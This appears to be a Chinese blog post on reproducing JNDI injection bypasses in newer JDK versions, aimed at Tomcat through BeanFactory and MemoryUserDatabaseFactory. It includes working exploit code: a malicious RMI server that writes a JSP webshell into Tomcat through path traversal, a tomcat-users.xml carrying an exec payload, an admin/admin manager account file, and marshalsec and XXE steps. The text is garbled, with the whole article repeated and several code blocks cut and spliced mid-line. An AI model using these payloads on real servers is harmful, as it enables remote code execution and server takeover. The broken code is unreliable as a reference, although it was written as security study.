Java新版本中如何复现各类JNDI绕过漏洞?
- 内容介绍
- 文章标签
- 相关推荐
本文共计1499个文字,预计阅读时间需要6分钟。
浅蓝师傅公布了JNDI bypass的新POC,近期复现了一些,昨天完成学业论文,现在终于复现完整了!- 目录
0.前言
1.Java高版本JNDI绕过的源代码分析
1.1 思路一:源代码分析 1.2 思路二:源代码分析- 0 前言
- 1 Java高版本JNDI绕过的源代码分析
- 1.1 思路一的源码分析
- 1.2 思路二的源码分析
- 2 基于本地工厂类的利用方法
- 2.1 org.apache.naming.factory.BeanFactory
- 2.1.1 javax.el.ELProcessor.eval
- 2.1.2 groovy.lang.GroovyClassLoader.parseClass(String text)
- 2.1.3 javax.management.loading.MLet 探测类是否存在
- 2.1.4 org.yaml.snakeyaml.Yaml().load(String)
- 2.1.5 com.thoughtworks.xstream.XStream.fromXML
- 2.1.6 org.mvel2.sh.ShellSession.exec()
- 2.1.7 com.sun.glass.utils.NativeLibLoader
- 2.2 org.apache.catalina.users.MemoryUserDatabaseFactory
- 2.2.1 XXE
- 2.2.2 RCE
- 2.1 org.apache.naming.factory.BeanFactory
- 3 基于服务端返回数据流的反序列化RCE
- 4 总结
- 参考
利用JNDI进行攻击,是Java中常用的手段,但高版本JDK在RMI和LDAP的trustURLCodebase都做了限制,从默认允许远程加载ObjectFactory变成了不允许。RMI是在6u132, 7u122, 8u113版本开始做了限制,LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。但依然有绕过方法,而最近浅蓝师傅的文章公布了一些新的bypass路线,正好快放假了,学习和研究一下。
使用marshalsec开启rmi服务端
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer 127.0.0.1:8090/#ExecTest
使用python开启恶意class文件下载服务端
py -3 -m 127.0.0.1:8888/RequestFromXXE"> %romote;]>
<root/>
当XXE成功时,会向127.0.0.1:8888/RequestFromXXE发起请求,因此图中可见exp.xml获取后,又向web server请求了/RequestFromXXE这个uri
2.2.2 RCE前面是利用open方法执行过程进行XXE的,而open方法执行结束后,会执行到save方法中,注意在open方法执行过程中,我们必须设置pathname是一个URL,否则不会向下执行到save方法。还需要注意到前面XXE原理的代码图片中,进行XML解析前,会从xml中获取user、role、group,这里的值会在后面save方法中被写入文件。
在pathname必须是URL的前提下,跟进save方法
注意到先进行了一个isWriteable的判断,跟进该方法
这里pathname是一个URL,catelina_base=c:/xx/apache-tomcat-8/,这是令pathname=127.0.0.1:8888/../../conf/tomcat-users.xml, 则getParentFile()得到c:/xx/apache-tomcat-8/127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
// ===============================写入文件================================================
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);
首先是直接给tomcat写入tomcat-users.xml文件从而实现对tomcat的管理,Windows下不需要创建127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
// ===============================写入文件================================================
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);
}
}
在tomcat中添加的jsp文件为:/webapps/test/1.jsp
<%@page pageEncoding="utf-8"%>
<%@page import="javax.naming.InitialContext"%>
<%
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/writeFile");
%>
用到的tomcat-users.xml如下
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="tomcat.apache.org/xml"
xmlns:xsi="www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script"/>
</tomcat-users>
- 创建conf目录,放入tomcat-users.xml文件,注意在conf同级目录用python启动web server
- 分三次注释代码,再编译和启动恶意rmi server端,用到的命令
javac -cp tomcat-catalina-9.0.8.jar UserDataRCE_Server.javajava -classpath tomcat-catalina-9.0.8.jar:. UserDataRCE_Server,依赖的tomcat-catalina-9.0.8.jar需要自己下载一下。每次启动rmiserver后,访问一次test/1.jsp,让tomcat执行相应的paylaod - tomcat端需要修改的地方有:给tomcat/lib下添加h2-2.1.210.jar,以便能够执行创建目录;给
tomcat/webapps/host-manager/META-INF/context.xml和tomcat/webapps/manager/META-INF/context.xml里修改为allow="^.*$",以便能够远程访问tomcat的管理界面
最后利用可以写入文件这个思路,直接可以向tomcat写入jsp webshell,需要用到代码和步骤如下
- 创建webapps/ROOT/test.jsp,并在webapps目录下启动python web server
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="tomcat.apache.org/xml"
xmlns:xsi="www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="<%Runtime.getRuntime().exec("calc"); %>"/>
</tomcat-users>
- 启动恶意rmi server端,代码如下
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class UserDataRCE_Server {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
// ===============================写入webshell文件================================================
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
ref.add(new StringRefAddr("readonly", "false"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);
}
}
- 访问模拟的web jndi注入漏洞,/test/1.jsp,代码如下
<%@page pageEncoding="utf-8"%>
<%@page import="javax.naming.InitialContext"%>
<%
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/writeFile");
%>
- 访问webshell
第2章里面都是rmi或ldap端返回一个恶意ref类,使得目标执行指定xxFactory.getObjectInstance()方法,该方法中具体的代码触发进一步利用。还有第二个jndi bypass思路,即通过ldap/rmi指定一个恶意FactoryObject下载服务器,让目标访问并下载一段恶意序列化数据,在目标反序列化时触发Java 原生反序列化漏洞。
以常见的CC链举例
- ldap端和github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java
package com.bitterz.jndiBypass;
import com.sun.net."+paper.seebug.org/942/
tttang.com/archive/1405/
github.com/kxcode/JNDI-Exploit-Bypass-Demo/
本文共计1499个文字,预计阅读时间需要6分钟。
浅蓝师傅公布了JNDI bypass的新POC,近期复现了一些,昨天完成学业论文,现在终于复现完整了!- 目录
0.前言
1.Java高版本JNDI绕过的源代码分析
1.1 思路一:源代码分析 1.2 思路二:源代码分析- 0 前言
- 1 Java高版本JNDI绕过的源代码分析
- 1.1 思路一的源码分析
- 1.2 思路二的源码分析
- 2 基于本地工厂类的利用方法
- 2.1 org.apache.naming.factory.BeanFactory
- 2.1.1 javax.el.ELProcessor.eval
- 2.1.2 groovy.lang.GroovyClassLoader.parseClass(String text)
- 2.1.3 javax.management.loading.MLet 探测类是否存在
- 2.1.4 org.yaml.snakeyaml.Yaml().load(String)
- 2.1.5 com.thoughtworks.xstream.XStream.fromXML
- 2.1.6 org.mvel2.sh.ShellSession.exec()
- 2.1.7 com.sun.glass.utils.NativeLibLoader
- 2.2 org.apache.catalina.users.MemoryUserDatabaseFactory
- 2.2.1 XXE
- 2.2.2 RCE
- 2.1 org.apache.naming.factory.BeanFactory
- 3 基于服务端返回数据流的反序列化RCE
- 4 总结
- 参考
利用JNDI进行攻击,是Java中常用的手段,但高版本JDK在RMI和LDAP的trustURLCodebase都做了限制,从默认允许远程加载ObjectFactory变成了不允许。RMI是在6u132, 7u122, 8u113版本开始做了限制,LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。但依然有绕过方法,而最近浅蓝师傅的文章公布了一些新的bypass路线,正好快放假了,学习和研究一下。
使用marshalsec开启rmi服务端
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer 127.0.0.1:8090/#ExecTest
使用python开启恶意class文件下载服务端
py -3 -m 127.0.0.1:8888/RequestFromXXE"> %romote;]>
<root/>
当XXE成功时,会向127.0.0.1:8888/RequestFromXXE发起请求,因此图中可见exp.xml获取后,又向web server请求了/RequestFromXXE这个uri
2.2.2 RCE前面是利用open方法执行过程进行XXE的,而open方法执行结束后,会执行到save方法中,注意在open方法执行过程中,我们必须设置pathname是一个URL,否则不会向下执行到save方法。还需要注意到前面XXE原理的代码图片中,进行XML解析前,会从xml中获取user、role、group,这里的值会在后面save方法中被写入文件。
在pathname必须是URL的前提下,跟进save方法
注意到先进行了一个isWriteable的判断,跟进该方法
这里pathname是一个URL,catelina_base=c:/xx/apache-tomcat-8/,这是令pathname=127.0.0.1:8888/../../conf/tomcat-users.xml, 则getParentFile()得到c:/xx/apache-tomcat-8/127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
// ===============================写入文件================================================
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);
首先是直接给tomcat写入tomcat-users.xml文件从而实现对tomcat的管理,Windows下不需要创建127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));
// ===============================写入文件================================================
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);
}
}
在tomcat中添加的jsp文件为:/webapps/test/1.jsp
<%@page pageEncoding="utf-8"%>
<%@page import="javax.naming.InitialContext"%>
<%
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/writeFile");
%>
用到的tomcat-users.xml如下
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="tomcat.apache.org/xml"
xmlns:xsi="www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-gui"/>
<role rolename="manager-script"/>
<role rolename="manager-jmx"/>
<role rolename="manager-status"/>
<role rolename="admin-gui"/>
<role rolename="admin-script"/>
<user username="admin" password="admin" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script"/>
</tomcat-users>
- 创建conf目录,放入tomcat-users.xml文件,注意在conf同级目录用python启动web server
- 分三次注释代码,再编译和启动恶意rmi server端,用到的命令
javac -cp tomcat-catalina-9.0.8.jar UserDataRCE_Server.javajava -classpath tomcat-catalina-9.0.8.jar:. UserDataRCE_Server,依赖的tomcat-catalina-9.0.8.jar需要自己下载一下。每次启动rmiserver后,访问一次test/1.jsp,让tomcat执行相应的paylaod - tomcat端需要修改的地方有:给tomcat/lib下添加h2-2.1.210.jar,以便能够执行创建目录;给
tomcat/webapps/host-manager/META-INF/context.xml和tomcat/webapps/manager/META-INF/context.xml里修改为allow="^.*$",以便能够远程访问tomcat的管理界面
最后利用可以写入文件这个思路,直接可以向tomcat写入jsp webshell,需要用到代码和步骤如下
- 创建webapps/ROOT/test.jsp,并在webapps目录下启动python web server
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="tomcat.apache.org/xml"
xmlns:xsi="www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="<%Runtime.getRuntime().exec("calc"); %>"/>
</tomcat-users>
- 启动恶意rmi server端,代码如下
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class UserDataRCE_Server {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.createRegistry(1099);
// ===============================写入webshell文件================================================
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
ref.add(new StringRefAddr("readonly", "false"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);
}
}
- 访问模拟的web jndi注入漏洞,/test/1.jsp,代码如下
<%@page pageEncoding="utf-8"%>
<%@page import="javax.naming.InitialContext"%>
<%
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://127.0.0.1:1099/writeFile");
%>
- 访问webshell
第2章里面都是rmi或ldap端返回一个恶意ref类,使得目标执行指定xxFactory.getObjectInstance()方法,该方法中具体的代码触发进一步利用。还有第二个jndi bypass思路,即通过ldap/rmi指定一个恶意FactoryObject下载服务器,让目标访问并下载一段恶意序列化数据,在目标反序列化时触发Java 原生反序列化漏洞。
以常见的CC链举例
- ldap端和github.com/kxcode/JNDI-Exploit-Bypass-Demo/blob/master/HackerServer/src/main/java/HackerLDAPRefServer.java
package com.bitterz.jndiBypass;
import com.sun.net."+paper.seebug.org/942/
tttang.com/archive/1405/
github.com/kxcode/JNDI-Exploit-Bypass-Demo/

